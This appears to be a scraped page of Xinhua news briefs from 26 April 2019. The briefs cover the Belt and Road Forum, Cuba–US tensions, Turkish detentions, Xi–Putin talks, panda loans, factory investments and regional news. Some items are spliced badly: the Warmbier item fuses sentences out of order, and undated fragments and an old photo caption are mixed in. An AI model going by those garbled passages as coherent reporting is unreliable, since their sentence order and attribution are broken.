GREEN FINANCE China has made clear its commitment to incorporate green strategies into the BRI by releasing the Guidelines on Promoting Green Belt and Road and the Belt and Road Ecological Cooperation Plan. These documents outline a vision for sustainability. "Since the BRI is an investment initiative, greening finance is key," Bapna said. He suggested that the BRI focus more investments on sustainable infrastructure, such as renewable energy, rail and mass transit. A WRI research found that at least 470 billion U.S. dollars is needed to implement renewable energy commitments in 31 BRI countries that the institute analyzed. The International Finance Corporation estimates 2.4 trillion dollars in low-carbon opportunities in the transportation sector of 17 BRI countries. Many countries are expected to update their national climate plans ahead of the 2020 deadline agreed by the international community under the Paris Agreement and are looking to see if China will create stronger incentives for financial institutions and enterprises to support a green BRI, said Bapna. "The (Chinese) government can do so by improving the policy and regulatory environment," Bapna said. Source: Xinhua| 2019-04-26 15:15:29|Editor: xuxin Video Player Close HAVANA, April 25 (Xinhua) -- Cuban Foreign Minister Bruno Rodriguez on Thursday slammed Washington's newly adopted measures against the island, saying they will "suffocate" the country's economy. On April 17, U.S. Secretary of State Mike Pompeo announced that a 22-year suspension of Title III of the Helms-Burton Act will be lifted on May 2, which allows U.S. citizens to file suits against foreign firms operating property in Cuba since 1959. "Cuba strongly rejects the new move of Washington, and we will expand our ties with all sectors of the U.S. society in response," said Rodriguez in a press conference. "The waiver of Title III of the Helms Burton Act will have a financial impact, harm Cuban entities and make difficulties for our people," he said. Also, U.S. National Security Adviser John Bolton told Cuban exiles in Miami that the Trump administration will put a cap on remittances to the Caribbean nation and the new limit will be 1,000 U.S. dollars per person per quarter. The senior official added the Treasury Department would also implement further regulatory changes to restrict U.S. citizens' non-family travel to Cuba, a move that could affect U.S. cruise companies and airlines that operate on the island. "Cuban families shouldn't be hostages of the political struggle between Republicans and Democrats in the U.S. Our country shouldn't be an object of internal policies between one party or the other," Rodriguez said. Rodriguez said Havana will also continue to strengthen its ties with Cuban communities residing in the United States despite the recent measures which will definitely have an impact. The Cuban diplomat said Washington sent instructions to its embassies worldwide to publicly condemn Cuba's support for Venezuelan President Nicolas Maduro, calling on all U.S. diplomatic staff to use "political and economic tools" at their disposal against Cuba. Washington's "maneuvers" have the obvious purpose of punishing Havana for its support of Maduro, whom the White House is openly seeking to oust from power, the foreign minister said. The State Department made up false allegations against Cuba of deploying special force units on the borders of Colombia and Venezuela to hold military drills. "I invite them to present evidence of such," the foreign minister said. "Cuba does not have troops nor military forces nor does it participate in military or security operations in Venezuela," said Rodriguez. U.S.-Cuban relations have plummeted since Trump became president, partially rolling back the detente initiated by his predecessor Barack Obama, while maintaining re-established diplomatic ties. Source: Xinhua| 2019-04-26 15:25:40|Editor: xuxin Video Player Close ISTANBUL, April 26 (Xinhua) -- Turkish prosecutors on Friday ordered the detention of 210 military personnel over their alleged links to a group accused of masterminding a coup bid in 2016, local media reported. Police launched simultaneous operations in Istanbul to catch the suspects, all on active duty, on the orders of the Chief Public Prosecutor's Office, the NTV broadcaster said. Colonels and lieutenant colonels were among those targeted in the operations, according to the broadcaster. The Turkish government blames the network led by the U.S.-based Turkish cleric Fethullah Gulen for the failed coup in July 2016, in which 250 people were killed. Source: Xinhua| 2019-04-26 15:35:45|Editor: mingmei Video Player Close by Nguon Sovan, Mao Pengfei PHNOM PENH, April 26 (Xinhua) -- The upcoming 2019 Beijing International Horticultural Exhibition truly illustrated China's effort and commitment to promote green development, a Cambodian official has said. Cambodian Prime Minister Samdech Techo Hun Sen will attend the opening ceremony of the expo, where he will also inaugurate the Cambodia pavilion, said Commerce Ministry Under Secretary of State and Spokesman Seang Thay. "We've prepared our products to display at the horticultural expo in Beijing," he told Xinhua, adding, "We expect to make more cooperation with other countries who also join the expo in Beijing, and we can show our Cambodian products to the world market." A Chinese slogan there, "Lucid waters and lush mountains are invaluable assets," clearly reflected China's effort to boost green development, Seang Thay said. "Yes, I fully agreed with this slogan. For myself, I think that this slogan is very important for this expo and very meaningful because better environment is good for us, for all of people who are living on the earth," the spokesman said. "For Cambodia, the Royal Government of Cambodia tries our best to protect environment," he said, adding that Cambodia also has a slogan encouraging people to love green development, it says "Tourism is Green Gold." Seang Thay said the expo's theme "Live Green, Live Better" would inspire people to love environment, which is part of their daily lives and health. He said the Cambodian government has been trying its best to promote the concept of green development by urging people not to use plastic bags and straws. "Now, if you go to supermarket, after you buy some products, if you want a plastic bag, you have to pay 10 (U.S.) cents, not for free," he said, adding that it was a tradition for Cambodian people in the old time to carry woven baskets to market to put items they had bought. Maly Riya, a senior at the Pannasastra University of Cambodia (PUC), said the slogan "Lucid waters and lush mountains are invaluable assets" demonstrated that China has paid high attention to environment protection. "I completely agreed with this slogan because it reminds people to love green development, to work together to protect nature in order to build a green world," she told Xinhua. "It also shows China's commitment to promoting green development," the 23-year-old student said. Tih Chamroeunreach, another senior at the PUC, said that in Cambodia, people joined to protect environment through planting trees, cleaning cities, reducing the use of plastic bags and so on. "These activities also contribute to developing tourism sector, which is described as 'Green Gold' in Cambodia," he told Xinhua. The 162-day expo is poised to impress an expected number of 16 million visitors from China and abroad with a huge collection of plants, flowers and eye-catching pavilions as well as ideas for green development. More than 110 countries and international organizations as well as over 120 non-official exhibitors have confirmed participation, marking the highest attendance in the expo's history. The exhibitors will present their latest achievements in floriculture in the 503-hectare expo site at the foot of the Great Wall in Beijing's Yanqing District. Source: Xinhua| 2019-04-26 16:46:31|Editor: mingmei Video Player Close BEIJING, April 26 (Xinhua) -- The National Health Commission (NHC) has called for efforts to improve the quality of contracted family doctor services and enhance community-level medical services this year, according to an NHC circular. Local health authorities are urged to help expand the coverage of contracted family doctor services while at the same time guarantee service quality. Family doctors should take into consideration the overall health conditions of patients with multiple chronic diseases to satisfy their needs for diagnosis and treatment in outpatient service, so as to improve service efficiency, according to the notice. Family doctors as a team are urged to maintain close communication with residents they are serving in accordance with the contracts, and adjust health services to meet the needs of different people. To reduce the inconvenience of patients with chronic diseases repeatedly commuting to and from medical institutions, family doctors are encouraged to give prescriptions that are valid for up to eight weeks, on the premise that it is safe, reasonable and effective. China will also accelerate the construction of the information system of contracted family doctor services, which can offer services like contract signing, consultation and making medical appointments, according to the circular. Family doctors, including general practitioners registered with grassroots health institutions, qualified doctors at township clinics and village doctors, can provide comprehensive, continuous, timely and customized services, such as health consultation, evaluation and medication instructions for patients. Source: Xinhua| 2019-04-26 16:51:34|Editor: Lu Hui Video Player Close Wang Yang (R), chairman of the Chinese People's Political Consultative Conference National Committee, meets with Greek Prime Minister Alexis Tsipras, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Gao Jie) BEIJING, April 26 (Xinhua) -- China's top political advisor Wang Yang on Friday met with Greek Prime Minister Alexis Tsipras, who is here to attend the Second Belt and Road Forum for International Cooperation. Wang, chairman of the National Committee of the Chinese People's Political Consultative Conference, said China is willing to maintain the momentum of high-level exchanges with Greece, expand economic and trade cooperation, and strengthen people-to-people and cultural exchanges. Tsipras said that Greece will actively participate in the Belt and Road Initiative, and continue to deepen cooperation with China in economy, trade, investment, energy, tourism, culture, and scientific and technological innovation. Source: Xinhua| 2019-04-26 19:09:24|Editor: Lu Hui Video Player Close Anupat Tiprat talks with his parents outside their house in Hua Hin district of Prachuap Khiri Khan Province, Thailand, on March 15, 2019. Twenty-one year old Anupat Tiprat has been dreaming to become a train driver in his home country Thailand. He is scheduled to travel to northern Chinese city of Tianjin late April to learn train maintenance and driving for three years. From Cambodia to Ethiopia to Georgia, economic and industrial zones have become an increasingly important dimension of international cooperation within the framework of the Belt and Road Initiative (BRI). Speaking at a sub-forum on Thursday at the ongoing second Belt and Road Forum for International Cooperation (BRF), senior officials from around the world called for closer BRI cooperation to make better use of such special zones and create more win-win results. Georgian Vice Prime Minister Maya Tskitishvili said her country established a free industrial zone for global businesses and inked a free trade agreement with both China and the European Union (EU). Saudi Arabia's Minister of Energy, Industry and Mineral Resources, Khalid A. Al-Falih, said China and his country share "bonds between the two ends of Asia" that go back centuries. To Ethiopian Minister of Finance Ahmed Shide, "cooperation zones are very important for industrialization," as they enhance "ease of doing business" and can serve as "a good experiment in industrialization." Nguyen Chi Dung, Vietnam's minister of planning and investment, said the BRI is an opportunity to acquire knowledge and new management methods. Secretary General of the Thailand Board of Investment Duangjai Asawachintachit told the sub-forum that her country is looking to move out of the middle-income trap and is "working to improve its business ecosystem." Calling for more BRI cooperation with China, Secretary General of the Council for the Development of Cambodia Sok Chenda Sophea said advantages of its industrial parks for Chinese companies include Cambodia's strategic location in the Mekong region and its young population compared to other Asian nations. Vivencio Dizon, president and chief executive officer of the Bases Conversion and Development Authority of the Philippines, said he has visited several parks in China and thinks that China "shows the way to the rest of the world on how to run parks." The BRI is "critical to move our countries forward" in Southeast Asia, he said, adding that it is also "a strategic initiative amid the uncertainties facing the world." (Xinhua/Yang Zhou) Source: Xinhua| 2019-04-26 16:56:36|Editor: mingmei Video Player Close SHENZHEN, April 26 (Xinhua) -- Shenzhen Bao'an International Airport said Friday that the volume of international passengers in the airport grew more than 31 percent to about 1.2 million people in the first quarter this year. The growth is due to the opening of more international airlines linking the southern Chinese city with the world, according to the airport. So far, the airport has launched international air routes to 47 overseas cities and the number is expected to exceed 50 by the end of this year, it added. As China's tech hub and due to its vicinity to Hong Kong, the city welcomes millions of travelers and businessmen every year. Total passenger volume hit more than 13 million in Bao'an airport in Q1 this year, up 7.9 percent year on year. Source: Xinhua| 2019-04-26 17:01:38|Editor: mingmei Video Player Close Chinese Vice President Wang Qishan (R) meets with the United Arab Emirates (UAE) Vice President and Prime Minister Sheikh Mohammed bin Rashid Al Maktoum, also ruler of Dubai, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Ding Lin) BEIJING, April 26 (Xinhua) -- Chinese Vice President Wang Qishan on Friday met with the United Arab Emirates (UAE) Vice President and Prime Minister Sheikh Mohammed bin Rashid Al Maktoum, who is here to attend the Second Belt and Road Forum for International Cooperation. Highlighting the important consensus between the two countries on jointly advancing Belt and Road Initiative (BRI), Wang called for efforts from both sides to deepen the understanding of each other and cooperation in various fields. Sheikh Mohammed bin Rashid Al Maktoum, also ruler of Dubai, congratulated on the opening of the forum, and said the UAE is ready to deepen its cooperation with China under the BRI framework. Source: Xinhua| 2019-04-26 18:17:33|Editor: Shi Yinglun Video Player Close KAMPALA, April 26 (Xinhua) -- Six people died in a Friday morning road accident in the Ugandan central district of Mpigi, a police spokesperson said. Joseph Musana, police spokesperson for Katonga Region, told Xinhua by telephone that the fatal accident occurred when a Toyota Premio attempted to overtake a Tanzanian registered trailer and slide off the road at Mpambire swamp, along Kampala-Masaka highway. "It was unfortunate that all the six occupants in the small vehicle died on the spot," said Musana. "The traffic police are doing everything possible to find out the cause of the accident. But preliminary inquiries are showing that the small car slide off the road when it attempted to overtake the trailer," he said. The police spokesperson warned drivers who ply the Kampala-Masaka-Mbarara highway to always take precaution, especially after rain. "They (drivers) must always be careful. They should avoid over speeding and reckless driving. We don't want to continue losing our people because of recklessness," said Musana. Uganda registers about 20,000 accidents each year, with some 2,000 deaths, making it one of the countries with the highest road traffic death rates, according to police statistics. Former U.S. vice president Joe Biden announced Thursday he is seeking the 2020 Democratic presidential nomination, instantly catapulting him to the top of an increasingly crowded Democratic field vying to challenge Republican President Donald Trump. The veteran Delaware senator and two-term vice president in the Obama administration has rivaled Sen. Bernie Sanders of Vermont and other Democratic presidential aspirants in recent polls, although it is uncertain whether he will be able to match their fundraising prowess. His experience in the areas of foreign affairs, criminal justice and domestic policy is unmatched by other presidential candidates. In a message released on video, Biden said the core values of the United States and its standing in the world are at stake. "I believe history will look back on four years of this president and all he embraces as an abhorrent moment in time," he said. "But if we give Donald Trump eight years in the White House we will forever and fundamentally alter the character of this nation, who we are. And I cannot stand by and watch that happen." Source: Xinhua| 2019-04-26 18:27:49|Editor: Lu Hui Video Player Close HARARE, April 26 (Xinhua) -- The National Arts Council of Zimbabwe (NACZ) will host the Belt and Road Afro-Sino Cultural Exchange program, which begins Saturday and ends next Wednesday. NACZ spokesperson Cathrine Mthombeni said Friday that the concept of the Belt and Road exchange program is an initiative by the Chinese government which also aims to enhance world connectivity while embracing business cooperation. Zimbabwe won the bid to host this prestigious exhibition in China last year. The exchange program incorporates an arts exhibition, art forum and launch of the Southern African Development Community (SADC) Chapter of the Afro-Sino Cultural Exchange Association and will run under the theme: South Meeting the East: A Tale of Two Communities. The exhibition, which aims to create an opportunity for the artists from both the South and the East to network, has 120 artworks from China, Kenya, Seychelles, Botswana, Zambia and Zimbabwe, making it the largest exhibition in Zimbabwe in recent times. Source: Xinhua| 2019-04-26 18:47:58|Editor: mingmei Video Player Close SUVA, April 26 (Xinhua) -- Chinese and Fijian officials on Friday stressed the need to strengthen cultural exchanges between the two countries under the Belt and Road Initiative (BRI). As genuine and close friends, China and Fiji have a comprehensive strategic partnership and have inked a number of cooperation agreements on the Belt and Road Initiative, Huang Xuehu, charge d'affaires of the Chinese Embassy in Fiji, said at the annual summary meeting for 2018 cultural exchange programs between Fiji and China and the opening of a Chinese traditional painting exhibition in the China Cultural Center in Fiji. He urged the two sides to conduct more cultural exchanges in the coming years under the framework of BRI. "I hope China Cultural Center in Fiji will have more interesting cultural events and our cultural exchanges will be taken to a new height," Huang said. Huang told Xinhua that Fiji was among the first countries in the South Pacific region to participate in the China-proposed Belt and Road Initiative. A Fijian government delegation is in Beijing to attend the second Belt and Road Forum for International Cooperation. Echoing Huang's views, Deng Xianfu, director of China Cultural Center in Fiji, said cultural exchanges are vital for enhancing mutual understanding and friendship between peoples of the two countries, and both sides should use BRI as a great platform to strengthen cultural exchanges. "Apart from infrastructure, BRI also involves people-to-people exchange. I hope that with the cooperation and assistance of the governments of Fiji and China, we will be able to do something more to further promote our cultural exchanges in the next few years," Deng told Xinhua. Yang Yuan, a famous Chinese artist whose exhibition of Chinese Traditional Painting of Peking Opera Characters is being held in the China Cultural Center, told Xinhua that art is so unique that people speaking different languages can understand each other through it and it can enhance the mutual understanding between peoples of different countries. "What I am doing here is to integrate Peking Opera into the Chinese traditional painting, the most shining parts of Chinese cultural heritage, through more than 30 pieces of paintings. I believe that BRI is a good thing which can provide a fresh impetus to people-to-people exchange," he said. For her part, Fiji's Minister for Education, Heritage and Arts Rosy Akbar thanked the Chinese government for organizing and sponsoring a series of successful cultural exchange programs for senior government officials and artists to travel to China since 2015. The minister said such cultural exchange programs not only built relationships with the host countries, but also taught those traveling for the program the importance of culture and heritage. She believed that the bilateral relationship between the two countries will continue to grow in the years to come. Source: Xinhua| 2019-04-26 18:53:00|Editor: mingmei Video Player Close Chinese President Xi Jinping (R) holds talks with his Russian counterpart Vladimir Putin on the sidelines of the Second Belt and Road Forum for International Cooperation in Beijing, capital of China, April 26, 2019. (Xinhua/Xie Huanchi) BEIJING, April 26 (Xinhua) -- Chinese President Xi Jinping Friday held talks with his Russian counterpart Vladimir Putin on the sidelines of the Second Belt and Road Forum for International Cooperation in Beijing. Xi said the relationship between China and Russia has become a major-country relationship featuring the highest degree of mutual trust, the highest level of coordination and the highest strategic value since the two countries established diplomatic ties 70 years ago. "We should always regard each other as important development opportunities, support each other and draw on each other's strength to achieve revitalization together," he said. Stressing that Russia is an important partner in the joint development of the Belt and Road Initiative (BRI), Xi said the alignment of the BRI with the Eurasian Economic Union is a model of regional economic cooperation. The two sides should continue to promote cooperation in economy and trade, energy, science and technology, aerospace, connectivity, as well as cooperation at sub-national level and people-to-people and cultural exchanges, Xi said, adding that China will send a pair of giant pandas to Russia for joint research. Xi also noted that China and Russia should enhance coordination in international affairs, jointly defend the authority of the United Nations and the UN Security Council, uphold the international law and universally recognized norms governing international relations, firmly promote multi-polarity and democracy of international relations, and uphold multilateralism. The BRI, proposed by President Xi, has provided an important platform and set a successful example for expanding international cooperation, and won increasing support from the international community, Putin said, adding that the presence of so many state leaders and representatives at this forum is a proof. On the occasion of celebrating the 70th anniversary of diplomatic relations, Russia is willing to enhance high-level contacts with China, and deepen bilateral exchanges and cooperation in various fields, such as doing well in exemplary major projects in energy and connectivity sectors, he said. The two leaders also exchanged views on issues including the situation on the Korean Peninsula and Venezuela, and agreed to communicate and coordinate closely in international and regional affairs and multilateral institutions. Also on Friday, President Xi attended a ceremony at which Tsinghua University awarded Putin an honorary doctorate. Tsinghua University is a world-renowned university and the alma mater of President Xi, Putin said. "In the presence of my good friend President Xi Jinping, Tsinghua University conferred an honorary doctorate on me and held a grand ceremony. I feel honored and deeply touched." "President Putin is a good friend and old friend of the Chinese people, and has made historic contributions to deepening political mutual trust between China and Russia and promoting bilateral cooperation in various fields," Xi said, extending congratulations to Putin. Xi said he hopes young Chinese and Russian students will contribute to China-Russia friendship for generations to come. Source: Xinhua| 2019-04-26 19:18:26|Editor: xuxin Video Player Close WINDHOEK, April 26 (Xinhua) -- Innovative approaches in wildlife conservation have contributed successfully toward enlarging Namibia's elephant herd population since the country's independence, according to an environment ministry official. Namibia attained Independence in 1990 and at the time, human-wildlife conflict, poaching and political instability had threatened to decimate a huge chunk of wildlife leading the ministry to adopt a different approach. Speaking to Xinhua on Friday, Ministry of Environment and Tourism public relations officer Romeo Muyunda said some of the innovative approaches Namibia had adopted include "establishment of conservancies which have since provided opportunity for our local communities to generate income, supplemented by community based projects." "In short, we created a platform where conservation leads to incentives for communities. If you protect our wildlife you get incentives such as employment and farming opportunities. These are the reasons our wildlife populations has increased, especially outside of national parks or protected areas," Muyunda said. He said that in protected areas wildlife had also increased due to good management. "Good management and effective policy has resulted in our wildlife increasing. An example of this is the elephant population that has increased from 7,500 at independence, up to more than 22,000 currently." Muyunda told Xinhua that Namibia now had the largest population of black rhinos. "At the moment, Namibia has the largest population of black rhinos in the world. But due to the security aspect, we cannot say how many. We have the largest population of cheetah in the world, and also a very big population of lions outside protected areas," Muyunda added. He said Namibia had managed to restore wildlife in areas where animals had begun to be wiped out. "We have managed to restore wildlife in areas where animals had been wiped out due to poaching, political stability before independence and human wildlife conflict. These restorations are the fruits of our conservancy program," he said. Source: Xinhua| 2019-04-26 19:23:30|Editor: xuxin Video Player Close KABUL, April 26 (Xinhua) -- Afghan President Mohammad Ashraf Ghani formally inaugurated the country's new parliament amid tight security on Friday. "You are representing all Afghans and not a particular clan. Let us join hands, stand together and work together for the stability and prosperity of Afghanistan," Ghani said at the opening of the 17th legislature term of the country's National Assembly. It was the third Afghan parliament since the collapse of Taliban regime in late 2001 and the 17th parliament in the history of the country. Afghanistan's third post-Taliban parliamentary election was held on Oct. 20 last year and the election commission has yet to announce the final result of some of the constituencies. More than 2,600 candidates including over 400 women contested the race to secure a seat in the 250-seat Wolesi Jirga or Lower House of National Assembly. The first parliamentary election in post-Taliban Afghanistan was held in 2005, while the second parliamentary polls took place in 2010. However, the 2015 parliamentary polls, originally set to be held in early 2015 following presidential elections, had been repeatedly delayed. Addressing the ceremony, Ghani said the majority of the new lawmakers were from the young Afghans who would protect women's rights, human rights and other rights of all Afghans. Some of the newly-elected lawmakers also took the oath administered by Ghani at the end of the event. Source: Xinhua| 2019-04-26 19:43:52|Editor: mingmei Video Player Close Chinese frigate Xiangtan sets sail from a military port in Zhoushan, east China's Zhejiang Province, April 26, 2019. With a displacement of over 4,000 tonnes, frigate Xiangtan will bring a helicopter and a special forces team to join an international live-fire exercise in waters near the Republic of Korea (ROK) and Singapore, which will last from April 29 to May 15 as a part of the ASEAN Defence Minister's Meeting-Plus. (Xinhua/Zhang Qian) NINGBO, April 26 (Xinhua) -- Chinese frigate Xiangtan set sail from a military port in Zhoushan, east China's Zhejiang Province, Friday for an international live-fire exercise in waters near the Republic of Korea (ROK) and Singapore. With a displacement of over 4,000 tonnes, frigate Xiangtan will bring a helicopter and a special forces team to join in the exercise, which will last from April 29 to May 15 as a part of the ASEAN Defence Minister's Meeting-Plus. Participating vessels will assemble at the port of Busan, the ROK for communication check and opening ceremony from April 29 to May 30 and carry out exercises between May 1 and May 12. The opening day for naval vessels and closing ceremony will be held in Singapore from May 12 to May 15. Vessels from different countries will conduct exercises including rescuing ships hijacked by pirates, coping with terrorist attacks and helicopter landing. The ROK and Singapore jointly hold the exercise, aiming to enhance mutual trust and cooperation among participating countries and to address maritime security challenges effectively in the Asia-Pacific region. Frigate Xiangtan used to carry out escort mission in the Gulf of Aden and the waters off Somalia in 2016. Source: Xinhua| 2019-04-26 19:48:56|Editor: xuxin Video Player Close BEIRUT, April 26 (Xinhua) -- Netherlands Ambassador to Lebanon Jan Waltmans emphasized that the Netherlands has increased its cooperation with Lebanon in the past few years, local media reported on Friday. "We have signed cooperation agreements in agriculture and the Lebanese potato has started entering the European market. We are also cooperating with agricultural cooperatives in Akkar to export their products to Europe," Waltmans was quoted a saying by the National News Agency. His remarks came during a ceremony held in Beirut to celebrate the national day of the Netherlands in the presence of Lebanese officials and foreign diplomats. Waltmans said that his embassy has also encouraged the youths in Lebanese universities to innovate in the agriculture sector. He added that the Dutch airlines have also started direct flights between Beirut and Amsterdam. Source: Xinhua| 2019-04-26 19:59:01|Editor: xuxin Video Player Close MOGADISHU, April 26 (Xinhua) -- The African Union Mission in Somalia (AMISOM) said it has been intensifying training for Somali national security officials to prepare them for the handover of security responsibility ahead of the AU mission's exit in 2021. AMISOM said as part of the effort, the security officials on Wednesday completed four-day training on human rights aimed at strengthening transparency and accountability in the country's law enforcement system. Francis Ndiema, AMISOM acting police training coordinator said in a statement issued on Friday that the training would go a long way in helping law enforcement agencies uphold the rule of law in their daily functions. "The course was aimed at enlightening officials from different law enforcement agencies in Somalia on international human rights standards that are relevant in law enforcement to enable them effectively uphold and protect people's rights," Ndiema observed. Ndiema reiterated AMISOM's commitment to continue building the capacity of the Somali security institutions during the transition period. "As AMISOM Police, we will continue executing our mandate of supporting law enforcement agencies in Somalia and more specifically the police to take a leading role in maintaining law and order," he added. The pan African troops are expected to relinquish the security of the key towns, to the Somali forces, through a conditions based transition plan, to allow them take the lead responsibility as part of the planed exit. Zambia's Minister of Health Chitalu Chilufya (L) presents a medal to a member of the 20th Chinese Medical Team during their awarding ceremony in Lusaka, capital of Zambia, April 24, 2019. The Zambian government on Wednesday honored the 20th Chinese Medical Team over its provision of various health services in the southern African nation. (Xinhua/Peng Lijun) LUSAKA, April 26 (Xinhua) -- Zambia has held a ceremony here to give awards to the 20th Chinese Medical Team over its provision of various health services in the southern African nation. The ceremony, attended on Wednesday by Minister of Health Chitalu Chilufya, Chinese Ambassador to Zambia Li Jie and Deputy Mayor of Luoyang city in China's Henan Province He Min, saw each member of the team being given a medal in appreciation of the services rendered during their tour of duty. The Zambian minister commended the medical team for their exemplary services, adding that the team helped in the country's quest to achieve universal access to health care provision. He said the current medical team has specifically been unique as they not only helped in improving service delivery but also helped in training of local personnel. According to him, the honoring of the medical team reflects the partnership which has existed between Zambia and China in the health sector, adding that China has supported not only the construction of the Levy Mwanawasa Teaching Hospital but also helped in training of local medical practitioners. Chinese doctors take medical examination of children at a orphanage in Lusaka, capital of Zambia, June 1, 2013. In a move aiming at promoting China-Zambia friendship, three Zambia-based Chinese organizations -- the Confucius Institute, Chinese medical team and Sino-Hydro Zambia Limited on Saturday got together with children of the Kabwata Orphanage in Lusaka during celebrations to mark the International Children's Day. (Xinhua/Kris Moonga) The medical team, he added, worked well with local personnel in providing health services in the country. On his part, the Chinese ambassador said China has been sending medical teams since 1978, adding that about 546 medical practitioners have been dispatched to Zambia from that time and that Chinese doctors have diagnosed and treated 3 million patients and taken more than 20,000 cases of operations in Zambia. The Chinese envoy further said more than 700 new technologies and health projects have been introduced and implemented in Zambia which have contributed greatly to the promotion of progress in the health sector. "The Chinese doctors' professional skills and medical ethics have gained high respect and appreciation from the government and people of Zambia, and also demonstrated the rapid development of China's medical technology," he said. The doctors, he said, not only helped in improving health care services but also introduced Chinese medical technologies as well as innovation to Zambia. During its tour of duty, the 20th Medical team, which arrived in Zambia in May 2018, treated more than 40,000 patients and conducted over 20 free clinics and visits to local communities, which resulted in the treatment of another 1,500 local people. Source: Xinhua| 2019-04-26 20:04:08|Editor: mingmei Video Player Close CHENGDU, April 26 (Xinhua) -- Foxconn Technology Group, the world's largest electronics contractor, plans to build a manufacturing base for smart wearables in Chengdu, the capital of southwest China's Sichuan Province. The base covers an area of about 10 hectares in the Chengdu High-tech Industrial Development Zone and is expected to be ready for production in September. Smart wearables are daily wearable products and devices equipped with intelligent technologies and designs. It is expected that in 2019, the global smart device shipments will reach 136 million pieces, and smart wearables will gradually replace smartphones as a booming market segment, according to a report on China's wearable device industry. Foxconn established its industrial park in Chengdu in 2010, covering tablet computer production and laptop assembly. In 2018, the industrial park's revenue exceeded 100 billion yuan (about 14.93 billion U.S. dollars). The electronics and information industry is one of the three leading industries of the Chengdu High-tech Industrial Development Zone, with more than 300 billion yuan in output in 2018. More than 30 of the world's top 500 companies, including Foxconn, Intel, Dell and Lenovo, have settled in the zone. As recently as Sept. 30, Trump asserted that his administration paid "nothing" to get American "hostages" out of North Korea, the paper reported. "We do not comment on hostage negotiations, which is why they have been so successful during this administration," said White House press secretary Sarah Sanders in a message on social media. Sources told the Post the main U.S. envoy sent to retrieve the unresponsive Otto Warmbier signed an agreement to pay the medical bill at the direction of President Donald Trump. The bill went to the Treasury Department, but it was not clear whether the administration paid the invoice North Korea billed the United States $2 million for the medical care of a U.S. college student who was detained in Pyongyang in 2016 and returned to the United States comatose more than a year later, according to reports in the Washington Post. Warmbier was detained in January 2016 for allegedly stealing a banner in a North Korean hotel. Warmbier was 21 years old when he was arrested. After appearing in court and delivering an emotional apology that was videotaped and widely shared on social media, he was convicted in March 2016 and sentenced to 15 years of hard labor in a North Korean prison. The mainland China travel company that arranged Warmbier's trip, Young Pioneer Tours, specializes in "destinations your mother would rather you stay away from," according to its website. It describes itself as "safe and fun." Photos from the company's website and Facebook page show selfies of happy, smiling, young Westerners in Pyongyang. North Korean officials said Warmbier fell into a coma the night he was sentenced in March 2016, the paper stated. Doctors have not identified the cause of his brain damage, and say they did not see evidence of his being beaten. Warmbier died six days after he was flown back to the United States. At their last meeting in Hanoi in February, President Trump said he accepted North Korean leader Kim Jong-un's claim not to have known what had happened to Warmbier in prison, despite the case being extraordinarily sensitive. "I will take him at his word," Trump said. Warmbier's father, Fred, said he was unaware of the hospital bill. He told the Post it sounded like a "ransom" for his late son. Following Otto Warmbier's sentencing, the North Koreans did not tell U.S. officials until June 2017 that he had been unconscious for 15 months. The paper said news of Warmbier's condition sparked a frantic effort to get him home. The effort was led by the State Department's point man on North Korea at the time, Joseph Yun, the paper reported. Source: Xinhua| 2019-04-26 20:09:12|Editor: mingmei Video Player Close BEIJING, April 26 (Xinhua) -- More than 150 Chinese and Mongolian young people attended a gathering in Beijing Friday to celebrate the 70th anniversary of the establishment of diplomatic relations between the two countries. The participants include Chinese and Mongolian young people from different walks of life as well as Mongolian students studying in China. Several participants shared their experiences of taking part in the exchanges and cooperation between the two countries. The gathering is among a series of activities during a visit paid by a delegation of Mongolian young people to China and is expected to deepen the friendship and cooperation between youth from both sides. Source: Xinhua| 2019-04-26 20:29:32|Editor: mingmei Video Player Close CHENGDU, April 26 (Xinhua) -- A pair of giant pandas will leave for Moscow, Russia for collaborative research, a panda research base in southwest China's Sichuan Province said Friday. Male Ru Yi, born in 2016, and female Ding Ding, born in 2017, are scheduled to depart Chengdu on April 29 and arrive in Moscow at 10:00 p.m. Beijing Time the same day, the research base said. The pair of giant pandas will live in the Moscow Zoo for 15 years, according to the research project. On February 28, the China Wildlife Conservation Association and the Moscow Zoo signed an agreement on the protection and research cooperation of giant pandas. The Moscow Zoo has sent full-time keepers and veterinarians to China in advance to learn about the breeding and medical care of giant pandas. Source: Xinhua| 2019-04-26 20:29:36|Editor: mingmei Video Player Close NAIROBI, April 26 (Xinhua) -- China could play a key role in helping Africa to achieve the benefits of the African Continental Free Trade Area (AfCFTA), a Kenyan expert said on Friday. Economist Kennedy Manyala told Xinhua in Nairobi that intra-Africa trade faces a lot of challenges partly due to the high cost of transporting goods across borders. "China could play a crucial role in helping unlock the business potential of African Continental Free Trade Area, by helping the region bridge the huge infrastructure deficit in an affordable way," Manyala said during an AfCFTA policy forum. Manyala said that Chinese have emerged as one of the biggest financiers and contractors of road, rail and energy projects in Africa. "Some of these infrastructure projects link neighboring Africa countries and help to lower the cost of transport in the region," he added. He observed that lower cost of logistics will help to improve the competitiveness of products made in Africa. According to the economist, Chinese are also interested in setting up manufacturing facilities in Africa. "This is a positive move that could help Africa benefit from modern technology from China," he added, urging African states to tap into the huge Chinese consumer market. Source: Xinhua| 2019-04-26 20:29:41|Editor: mingmei Video Player Close NANJING, April 26 (Xinhua) -- Leading Chinese new energy vehicle (NEV) maker BYD will set up an industrial base for passenger vehicles and key components in the city of Changzhou, east China's Jiangsu Province. The strategic cooperation agreement on the project was signed between BYD and the municipal government of Changzhou Thursday, according to the local government. With a total investment of 10 billion yuan (about 1.5 billion U.S. dollars), the base is designed to produce 400,000 NEVs each year with an annual output worth of 50 billion yuan. The company also plans to establish a research and development center in the city in the future. BYD Chairman Wang Chuanfu said this project will make the company's passenger car network complete in China along with its existing bases in Shenzhen, Xi'an and Changsha, which will benefit Changzhou with the addition of new job opportunities. Source: Xinhua| 2019-04-26 20:44:46|Editor: xuxin Video Player Close DAMASCUS, April 26 (Xinhua) -- Russian warplanes struck positions of the rebels in northwestern Syria on Friday in retaliation for rebels' shelling on a Russian air base, a war monitor reported. The Russian airstrikes targeted the positions of the rebels in the countryside of the northwestern province of Idlib and the nearby northern countryside of Hama province in central Syria. The Syrian Observatory for Human Rights said three people were killed in the shelling. It said that the Syrian government forces also fired 25 shells on the rebel positions in Idlib. The airstrikes came hours after the rebels fired on the Russia-run air base of Hmeimim in Latakia province in northwestern Syria. The observatory said the air defenses intercepted the rebels' attack without reports on losses. It is worth noting that Turkey and Russia 